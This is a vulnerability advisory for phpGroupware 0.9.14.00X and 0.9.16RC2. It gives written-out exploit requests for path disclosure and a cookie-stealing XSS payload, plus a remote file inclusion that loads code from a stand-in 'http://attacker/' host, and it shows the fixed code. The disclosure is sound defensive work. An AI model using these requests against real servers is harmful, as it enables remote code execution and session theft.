-------------------------------------------------------------------------------

Details :

Multiple PATH disclosure have been found on phpgroupware 0.9.14.00X and 0.9.16RC2.
Multiple XSS have been found on phpgroupware 0.9.14.00X and 0.9.16RC2.
A PHP code injection vulnerability has been found on phpgroupware 0.9.14.00X (X <= 5).

Vulnerable Systems:

• phpgroupware 0.9.14.005 and prior

Severity :
High (PHP code injection)
Medium (XSS)
Low (PATH Disclosure)

Credit :
Cedric Cochin (cco@netvigilance.com)

-------------------------------------------------------------------------------
Examples :

                  -------------------------------------------

I - Path disclosure

Exploit example

-- START - HTTP Request --

http://[target/[phpgroupware_directory]/phpsysinfo/inc/hook_admin.inc.php]
http://[target/[phpgroupware_directory]/comic/inc/hook_home.inc.php]
http://[target/[phpgroupware_directory]/calendar/inc/class.holidaycalc.inc.php]
http://[target/[phpgroupware_directory]/news_admin/website/setup.inc.php.sample]

-- END --- HTTP Request --

                  -------------------------------------------

II - XSS

Exploit example

-- START - HTTP Request --

http://[target/[phpgroupware_directory]/index.php?menuaction=calendar.uicalendar.planner]
POST DATA: date="><script>alert(document.cookie)</script>

-- END --- HTTP Request --

                  -------------------------------------------


III - PHP Code Injection

The  tables_update.inc.php  script  presents  in  the  phpgwapi/setup/ directory
performs a PHP include() call.

        /* Include older phpGroupWare update support */
        include($appdir . 'tables_update_0_9_9.inc.php');
        include($appdir . 'tables_update_0_9_10.inc.php');
        include($appdir . 'tables_update_0_9_12.inc.php');

By  defining  the  $appdir  variable   in  the  URL,  an  attacker   creating  a
"tables_update_0_9_9.inc.php" on the http://attacker  web server can inject  PHP
code.

For example: tables_update_0_9_9.inc.php = <?php print "<?php phpinfo();?>" ;?>

and the following request, will execute the phpinfo() command on the vulnerable target.

-- START - HTTP Request --

http://[target/[phpgroupware_directory]/phpgwapi/setup/tables_update.inc.php?appdir=http://attacker/]

-- END --- HTTP Request --

Version 0.9.14.007 is no more vulnerable due to the missing $appdir variable  of
the include calls.
 /* Include older phpGroupWare update support */
 include('tables_update_0_9_9.inc.php');
 include('tables_update_0_9_10.inc.php');
 include('tables_update_0_9_12.inc.php');

Version 0.9.16RCX are not using anymore these include calls.
 /* Include older phpGroupWare update support */
 //include('tables_update_0_9_9.inc.php');
 //include('tables_update_0_9_10.inc.php');
 //include('tables_update_0_9_12.inc.php');

-------------------------------------------------------------------------------